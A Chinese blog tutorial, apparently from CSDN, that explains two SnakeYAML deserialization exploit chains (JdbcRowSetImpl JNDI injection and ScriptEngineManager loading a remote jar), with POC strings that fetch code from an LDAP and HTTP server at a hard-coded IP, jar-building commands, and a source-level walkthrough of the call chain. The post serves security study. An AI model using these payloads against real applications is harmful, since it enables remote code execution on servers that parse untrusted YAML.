【Web】浅浅地聊SnakeYaml反序列化两条常见利用链
目录
关于Yaml
关于SnakeYaml
SnakeYaml反序列化利用
JdbcRowSetImpl链
ScriptEngineManager链
复现
基本原理
继续深入
关于Yaml
学过SpringBoot开发的师傅都知道,YAML和 Properties 文件都是常见的配置文件格式,用于存储键值对数据。
这里举几个Yaml的例子回顾一下
# 示例 YAML 文件# 字符串和整数
name: John Doe
age: 30# 列表
languages:- Python- JavaScript- Java# 映射
address:street: 123 Main Streetcity: Anytownpostal_code: 12345# 嵌套结构
person:name: Aliceage: 25address:street: 456 Elm Streetcity: Somewherepostal_code: 54321
上面的例子体现了几个Yaml的特性:
使用 key: value 的格式表示键值对数据。
使用缩进表示层次结构,比如 languages 是一个列表,address 是一个映射。
支持注释,以 # 开头。
如何表示字符串、整数、列表和嵌套结构。
此外,在 YAML 中,方括号 [] 和双方括号 [[...]] 分别表示列表和嵌套列表的含义。
-
单方括号
[]表示列表:- 在 YAML 中,单方括号
[]表示一个简单的列表,其中可以包含一组项目。 - 例如,
items: [apple, banana, orange]表示一个包含三个字符串元素的列表。
- 在 YAML 中,单方括号
-
双方括号
[[...]]表示嵌套列表:- 双方括号
[[...]]表示一个嵌套的列表,即一个列表中包含另一个列表。 - 这种结构用于表示更复杂的数据结构,其中内部列表中可以包含多个项目。
- 在嵌套列表中,每对方括号表示一个新的列表层级。
- 例如,
nestedList: [[1, 2], [3, 4], [5, 6]]表示一个包含三个子列表的父列表,每个子列表包含两个整数元素。
- 双方括号
关于SnakeYaml
SnakeYAML 是 Java 中一个流行的 YAML 解析库,用于读取和生成 YAML 数据。
1.加载(Load)YAML 数据: 使用 SnakeYAML 的 load 方法可以将 YAML 数据加载到 Java 对象中。这个方法会将 YAML 格式的数据解析为对应的 Java 对象。
2.转储(Dump)Java 对象为 YAML 格式: 使用 SnakeYAML 的 dump 方法可以将 Java 对象转换为对应的 YAML 格式数据。
举例:
一个User Bean
package com.snake.demo;public class User {private String name;public int age;public User(String name, int age) {this.name = name;this.age = age;}public User() {System.out.println("Non Arg Constructor");}public String getName() {System.out.println("getName");return name;}public void setName(String name) {System.out.println("setName");this.name = name;}public int getAge() {System.out.println("getAge");return age;}public void setAge(int age) {System.out.println("setAge");this.age = age;}@Overridepublic String toString() {return "I am " + name + ", " + age + " years old";}
}
测试类
package com.snake.demo;import org.yaml.snakeyaml.Yaml;public class Main {public static void main(String[] args) {User user = new User("Z3r4y", 18);Yaml yaml = new Yaml();System.out.println(yaml.dump(user));String s = "!!com.snake.demo.User {age: 18, name: Z3r4y}";User user2 = yaml.load(s);System.out.println(user2);}
}
运行结果
getName
!!com.snake.demo.User {age: 18, name: Z3r4y}Non Arg Constructor
setName
I am Z3r4y, 18 years old
通过上述lab,我们至少可以得到以下两点结论:
①yaml反序列化时可以通过!!+全类名指定反序列化的类,反序列化过程中会实例化该类
②四种属性修饰,private,protected,public,default,若属性设置为public,则不会调用对应的setter方法,当属性为public时,是通过反射对Field进行了set,而当属性为private时,是通过反射调用setName设置的值
SnakeYaml反序列化利用
SnakeYaml反序列化和fastjson反序列化一样都会调用setter,不过对于public修饰的成员不会调用其setter。
除此之外,SnakeYaml反序列化时还能调用该类的构造函数
于是乎便分别有了以下两种的利用
JdbcRowSetImpl链
调用JdbcRowSetImpl#setAutoCommit,这样就成功触发了JdbcRowSetImpl链,从而JNDI注入
先导pom依赖
<dependency><groupId>org.yaml</groupId><artifactId>snakeyaml</artifactId><version>1.27</version></dependency>
编写POC
package com.snake.demo;import org.yaml.snakeyaml.Yaml;public class POC1 {public static void main(String[] args) {String poc = "!!com.sun.rowset.JdbcRowSetImpl {dataSourceName: ldap://124.222.136.33:1337/#suibian, autoCommit: true}";Yaml yaml = new Yaml();yaml.load(poc);}
}
开一个恶意LDAP服务器

找个端口放恶意字节码

成功弹计算器

和FastJson反序列化原理一样的,不多解释,可以看这篇文章:【Web】速谈FastJson反序列化中JdbcRowSetImpl的利用
ScriptEngineManager链
复现
javax.script.ScriptEngineManager的利用链通过URLClassLoader实现的代码执行,底层是个SPI,关于SPI可以看看这篇文章,不多赘述:
【Web】浅浅地聊JDBC java.sql.Driver的SPI后门
【Web】浅聊JDBC的SPI机制是怎么实现的——DriverManager-CSDN博客
github上现成的利用ScriptEngineManager利用方式的exp:
GitHub - artsploit/yaml-payload: A tiny project for generating SnakeYAML deserialization payloads
拿到手稍微小改下这个部分代码就可

运行下列命令生成个jar包
javac src/artsploit/AwesomeScriptEngineFactory.java
jar -cvf yaml-payload.jar -C src/ .

然后开个端口把恶意jar包放服务器上

运行这段代码,弹出计算器
package com.snake.demo;import org.yaml.snakeyaml.Yaml;public class POC2 {public static void main(String[] args) {String poc = "!!javax.script.ScriptEngineManager [\n" +" !!java.net.URLClassLoader [[\n" +" !!java.net.URL [\"http://124.222.136.33:1337/yaml-payload.jar\"]\n" +" ]]\n" +"]";Yaml yaml = new Yaml();yaml.load(poc);}
}

基本原理
OK复现成功了,我们跟下调用链
首先看到javax.script.ScriptEngineManager的有参构造方法调用了init,并传入了一个ClassLoader,至于从哪传的,后面会讲,暂按下不表。
public ScriptEngineManager(ClassLoader loader) {init(loader);}
init方法进行一些初始化设置之后调用initEngines()
private void init(final ClassLoader loader) {globalScope = new SimpleBindings();engineSpis = new HashSet<ScriptEngineFactory>();nameAssociations = new HashMap<String, ScriptEngineFactory>();extensionAssociations = new HashMap<String, ScriptEngineFactory>();mimeTypeAssociations = new HashMap<String, ScriptEngineFactory>();initEngines(loader);}
initEngines方法,调用了getServiceLoader
private void initEngines(final ClassLoader loader) {Iterator<ScriptEngineFactory> itr = null;try {ServiceLoader<ScriptEngineFactory> sl = AccessController.doPrivileged(new PrivilegedAction<ServiceLoader<ScriptEngineFactory>>() {@Overridepublic ServiceLoader<ScriptEngineFactory> run() {return getServiceLoader(loader);}});itr = sl.iterator();}
跟进getServiceLoader方法
private ServiceLoader<ScriptEngineFactory> getServiceLoader(final ClassLoader loader) {if (loader != null) {return ServiceLoader.load(ScriptEngineFactory.class, loader);} else {return ServiceLoader.loadInstalled(ScriptEngineFactory.class);}}
返回一个ServiceLoader<T>,根据这个可以获取一个指定了加载类为ScriptEngineFactory的迭代器,这也和我们生成恶意jar包的项目的META-INF/services目录下的文件名呼应

ok到这一步我们已经获得了一个指定了加载类为ScriptEngineFactory的迭代器
initEngines方法接着向下执行又看到了两个熟悉的方法hasNext()、next()
try {while (itr.hasNext()) {try {ScriptEngineFactory fact = itr.next();engineSpis.add(fact);} catch (ServiceConfigurationError err) {System.err.println("ScriptEngineManager providers.next(): "+ err.getMessage());if (DEBUG) {err.printStackTrace();}// one factory failed, but check other factories...continue;}}}
不多作赘余解释,这篇文章里有写:【Web】浅聊JDBC的SPI机制是怎么实现的——DriverManager-CSDN博客
总结来说就是:
hashNext用于获取全路径,并读取文件中的内容
next用于执行文件中对应的类,导致恶意类的动态加载,恶意静态代码块的执行,从而完成攻击
问题是,恶意类来自哪呢?是来自反序列化调用远程jar包
如何调用远程的jar包呢?只能说是由URLClassLoader和URL来具体操作的,我们不做具体讨论
原理这部分到此为止。
继续深入
我们先回到本源,来看看Yaml#load是如何操作
public <T> T load(String yaml) {return this.loadFromReader(new StreamReader(yaml), Object.class);
}
先是将我们的payload字符串存入StreamReader的stream中
public StreamReader(Reader reader) {this.pointer = 0;this.index = 0;this.line = 0;this.column = 0;this.name = "'reader'";this.dataWindow = new int[0];this.dataLength = 0;this.stream = reader;this.eof = false;this.buffer = new char[1025];
}
OK,我们再回到loadFromReader(),其创建了一个Composer对象,并封装到constructor中
private Object loadFromReader(StreamReader sreader, Class<?> type) {Composer composer = new Composer(new ParserImpl(sreader), this.resolver, this.loadingConfig);this.constructor.setComposer(composer);return this.constructor.getSingleData(type);
}
跟一下this.constructor.getSingleData
代码中首先通过 composer 对象的 getSingleNode 方法获取一个节点(Node)对象。接着判断该节点是否为非空且不是表示空值的特殊标记。如果条件成立,则继续执行下面的逻辑,否则会返回一个表示空值的对象。
public Object getSingleData(Class<?> type) {Node node = this.composer.getSingleNode();if (node != null && !Tag.NULL.equals(node.getTag())) {if (Object.class != type) {node.setTag(new Tag(type));} else if (this.rootTag != null) {node.setTag(this.rootTag);}return this.constructDocument(node);} else {Construct construct = (Construct)this.yamlConstructors.get(Tag.NULL);return construct.construct(node);}
}
接着调用constructDocument()
protected final Object constructDocument(Node node) {Object var3;try {Object data = this.constructObject(node);this.fillRecursive();var3 = data;}
跟constructObject
protected Object constructObject(Node node) {
if (constructedObjects.containsKey(node)) {
return constructedObjects.get(node);
}
return constructObjectNoCheck(node);
}
跟 constructObjectNoCheck
constructObjectNoCheck()中recursiveObjects值为空,所以不执行if,并通过add将node追加到其中,之后由于constructedObjects值也是空,所以三目运算执行" : "后边的内容
protected Object constructObjectNoCheck(Node node) {
if (recursiveObjects.contains(node)) {
throw new ConstructorException(null, null, "found unconstructable recursive node",
node.getStartMark());
}
recursiveObjects.add(node);
Construct constructor = getConstructor(node);
Object data = (constructedObjects.containsKey(node)) ? constructedObjects.get(node)
: constructor.construct(node);
node放入recursiveObjects,进入constructor.construct(node)
public Object construct(Node node) {
try {
return getConstructor(node).construct(node);
} catch (ConstructorException e) {
throw e;
} catch (Exception e) {
throw new ConstructorException(null, null, "Can't construct a java object for "
+ node.getTag() + "; exception=" + e.getMessage(), node.getStartMark(), e);
}
}
再跟construct
for (Node argumentNode : snode.getValue()) {
Class<?> type = c.getParameterTypes()[index];
// set runtime classes for arguments
argumentNode.setType(type);
argumentList[index++] = constructObject(argumentNode);
}
遍历节点,调用constructObject()又给循环回去
上面的POC有5个node,循环5次。
先后进行了URL、URLClassLoader、ScriptEngineManager的实例化
注意这里实例化是有传参数(argumentList)的,把前一个类的实例化对象当作下个类构造器的参数。

最后进入ScriptEngineManager的有参构造器,连接上了上文的SPI机制。
相关文章:
【Web】浅浅地聊SnakeYaml反序列化两条常见利用链
目录 关于Yaml 关于SnakeYaml SnakeYaml反序列化利用 JdbcRowSetImpl链 ScriptEngineManager链 复现 基本原理 继续深入 关于Yaml 学过SpringBoot开发的师傅都知道,YAML和 Properties 文件都是常见的配置文件格式,用于存储键值对数据。 这里举…...
详解openGauss客户端工具gsql的高级用法
前言: gsql是openGauss提供在命令行下运行的数据库连接工具,可以通过此工具连接服务器并对其进行操作和维护,除了具备操作数据库的基本功能,gsql还提供了若干高级特性,便于用户使用。 gsql的基本功能 连接数据库&…...
开源工业软件:SCADA系统开源
PyScada是一个开源的scada系统 源代码地址 http://www.gitpp.com/huangtomy/pyscada-cn SCADA系统是Supervisory Control And Data Acquisition的缩写,即数据采集与监视控制系统。它是以计算机为基础的DCS与电力自动化监控系统,应用领域非常广&#x…...
关于AI彩票预测算法的设想
本文以双色球选择红色6个号码为例 我们先把问题简化,双色球红色号码一共有33个球。摇奖时,每次随机摇出来一个号码,连续6次,就随机出来了6个红色球号码。 而这6个号码就是一注彩票里的前6个红色球号码。这里不讨论一注彩票里后端…...
设计模式之策略模式实践
设计模式之策略模式实践 先了解一下策略模式的定义是什么?解决什么问题 策略模式是一种行为设计模式,它定义了一系列算法,将每个算法封装成一个类,并使它们可以互相替换。策略模式允许客户端在运行时从可互换的算法中选择一个&a…...
讨论:解决哈希冲突的几种方法
1. 什么是哈希 哈希是通过对数据进行再压缩,提高效率的一种解决方法。 2. 什么时候会产生哈希冲突 通过哈希函数产生的哈希值是有限的,当数据量比较大时经过哈希函数处理后仍然有不同的数据对应相同的值。这时候就产生了哈希冲突。 3. 常见的哈希函数 1&…...
遥感分析时什么情况下需要做大气校正?
经常会遇到这样的问题:什么情况需要做大气校正产生?这个问题取决于传感器和应用目标,总的来说,如果要做光谱分析,那么大气校正是必须要做的。本文对于在什么情况下选择什么样的大气校正方法,给出了一些依据…...
设计模式学习笔记 - 设计原则 - 7.DRY 原则及提高代码复用性
前言 DRY 原则,英文描述为: Don’t Repeat Yourself。中文直译:不要重复自己。将它应用在编程中,可理解为:不要写重读的代码。 可能你认为,这个原则很简单。只要两段代码长得一样,那就是违反 …...
方法的调用
自定函数(方法) 函数(方法): 给定一个具有独立功能的代码片段进行"命名",并通过该该类名调用"方法" main主函数 在当前类中,可以直接调用方法(因为方法使用了static关键字) package study;import java.time.LocalDate; import java.time.format.Date…...
VGW在 Windows 平台上局域网就绪的旁路由器程序
在查阅本篇文章之前可以查看下,本人前两年写的关于VGW软件路由器的文章 Linux 平台上面单网卡 TUN/TAP实现局域网其它设备上网_linux 物理网卡与tun同网段-CSDN博客 VGW软件路由器是一个工作IEEE以太网(L2)链路层的路由器程序,它…...
能源大数据采集,为您提供专业数据采集服务
随着经济的不断发展,能源产业也逐渐成为国民经济的支柱产业之一。而对于能源行业来说,数据采集是一项至关重要的工作。以往,能源企业采集数据主要依靠人工收集、整理,但是这种方式不仅效率低下,而且容易出现数据不准确…...
01_Maven
文章目录 Maven安装MavenMaven的工作流程配置MavenMaven的使用module和project的关系如何用Maven导包 如何用Maven进行项目构建指令介绍clean指令compile指令package指令install指令 Maven的依赖管理如何导包scope作用域依赖传递依赖冲突 使用Maven开发项目Junit如何使用Junit …...
C语言题目练习
目录 前言 1、转置矩阵 1.1 题目 描述 输入描述: 输出描述: 1.2解题 分析: 程序: 2、KiKi判断上三角矩阵 2.1 题目 描述 输入描述: 输出描述: 2.2 解题 分析: 程序: 3、…...
物联网安全|TrustAsia助力PSWG应对全球物联网产品安全合规挑战
万物互联时代,随着物联网连接数快速增长,物联网设备的潜在网络安全隐患也日益增长,可能导致设备故障、数据被盗、篡改、隐私泄露等问题的发生,甚至成为网络攻击的跳板,对互联网基础设施构成严重威胁。 我们看到&#…...
基于单片机的医院输液系统设计
目 录 摘 要 Ⅰ Abstract Ⅱ 引 言 1 1系统方案设计与论证 3 1.1系统硬件结构总体设计方案 3 1.2点滴速度测量电路方案的选择与论证 3 1.3液面检测电路方案的选择与论证 4 1.4通过电机控制滴速电路的方案与论证 4 1.5显示器接口电路方案选择与论证 5 1.6键盘接口电路方案选择与…...
安卓简单登录
注意 有的朋友不知道登录咋写,这里我就简单给出相应代码,用的本地存储,没用网络请求,有需要可以替换成想要的,废话不多上代码 登录 import androidx.appcompat.app.AppCompatActivity;import android.content.Context…...
【计算机网络】DNS/ICMP协议/NAT技术
文章目录 一、DNS(Domain Name System)1.DNS背景2.域名3.浏览器中输入url后,发生的事情 二、ICMP协议1.什么是ICMP协议2.ICM功能3.ICMP的报文格式4.ping命令5.traceroute命令 三、NAT技术1.NAT技术背景2.NAT IP转换过程3.NAPT4.NAT技术的缺陷5.NAT和代理服务器 四、TCP/IP五层模…...
2403C++,C++20协程通道
原文 通道是一个可用来连接协程,实现不同协程间通信的并发安全队列. Test fun test know channel() runBlocking<Unit> {val channel Channel<Int>()//生产者val producer GlobalScope.launch {var i 0while (true) {delay(1000)channel.send(i)println("…...
C语言从入门到实战——预处理详解
预处理详解 前言一、预定义符号1.1 __FILE__1.2__LINE__1.3 __DATE__1.4__TIME__1.5__STDC__ 二、 #define定义常量三、 #define定义宏四、 带有副作用的宏参数五、 宏替换的规则六、宏函数的对比七、 #和##7.1 #运算符7.2 ##运算符 八、 命名约定九、 #undef十、命令行定义十一…...
【LabVIEW FPGA】CIC滤波器
一、CIC滤波器应用概述 在通信数字信号上下变频时,经常会用到对数字信号的升采样和降采样,即通过CIC数字速率器实现变采样率。 二、滤波器IP 首先设置滤波器基本参数(filter specification) 滤波器类型(Filter Type…...
装饰模式(Decorator Pattern)重构java邮件发奖系统实战
前言 现在我们有个如下的需求,设计一个邮件发奖的小系统, 需求 1.数据验证 → 2. 敏感信息加密 → 3. 日志记录 → 4. 实际发送邮件 装饰器模式(Decorator Pattern)允许向一个现有的对象添加新的功能,同时又不改变其…...
基于大模型的 UI 自动化系统
基于大模型的 UI 自动化系统 下面是一个完整的 Python 系统,利用大模型实现智能 UI 自动化,结合计算机视觉和自然语言处理技术,实现"看屏操作"的能力。 系统架构设计 #mermaid-svg-2gn2GRvh5WCP2ktF {font-family:"trebuchet ms",verdana,arial,sans-…...
【WiFi帧结构】
文章目录 帧结构MAC头部管理帧 帧结构 Wi-Fi的帧分为三部分组成:MAC头部frame bodyFCS,其中MAC是固定格式的,frame body是可变长度。 MAC头部有frame control,duration,address1,address2,addre…...
渗透实战PortSwigger靶场-XSS Lab 14:大多数标签和属性被阻止
<script>标签被拦截 我们需要把全部可用的 tag 和 event 进行暴力破解 XSS cheat sheet: https://portswigger.net/web-security/cross-site-scripting/cheat-sheet 通过爆破发现body可以用 再把全部 events 放进去爆破 这些 event 全部可用 <body onres…...
抖音增长新引擎:品融电商,一站式全案代运营领跑者
抖音增长新引擎:品融电商,一站式全案代运营领跑者 在抖音这个日活超7亿的流量汪洋中,品牌如何破浪前行?自建团队成本高、效果难控;碎片化运营又难成合力——这正是许多企业面临的增长困局。品融电商以「抖音全案代运营…...
P3 QT项目----记事本(3.8)
3.8 记事本项目总结 项目源码 1.main.cpp #include "widget.h" #include <QApplication> int main(int argc, char *argv[]) {QApplication a(argc, argv);Widget w;w.show();return a.exec(); } 2.widget.cpp #include "widget.h" #include &q…...
初探Service服务发现机制
1.Service简介 Service是将运行在一组Pod上的应用程序发布为网络服务的抽象方法。 主要功能:服务发现和负载均衡。 Service类型的包括ClusterIP类型、NodePort类型、LoadBalancer类型、ExternalName类型 2.Endpoints简介 Endpoints是一种Kubernetes资源…...
【Go语言基础【13】】函数、闭包、方法
文章目录 零、概述一、函数基础1、函数基础概念2、参数传递机制3、返回值特性3.1. 多返回值3.2. 命名返回值3.3. 错误处理 二、函数类型与高阶函数1. 函数类型定义2. 高阶函数(函数作为参数、返回值) 三、匿名函数与闭包1. 匿名函数(Lambda函…...
人机融合智能 | “人智交互”跨学科新领域
本文系统地提出基于“以人为中心AI(HCAI)”理念的人-人工智能交互(人智交互)这一跨学科新领域及框架,定义人智交互领域的理念、基本理论和关键问题、方法、开发流程和参与团队等,阐述提出人智交互新领域的意义。然后,提出人智交互研究的三种新范式取向以及它们的意义。最后,总结…...
腾讯云V3签名
想要接入腾讯云的Api,必然先按其文档计算出所要求的签名。 之前也调用过腾讯云的接口,但总是卡在签名这一步,最后放弃选择SDK,这次终于自己代码实现。 可能腾讯云翻新了接口文档,现在阅读起来,清晰了很多&…...
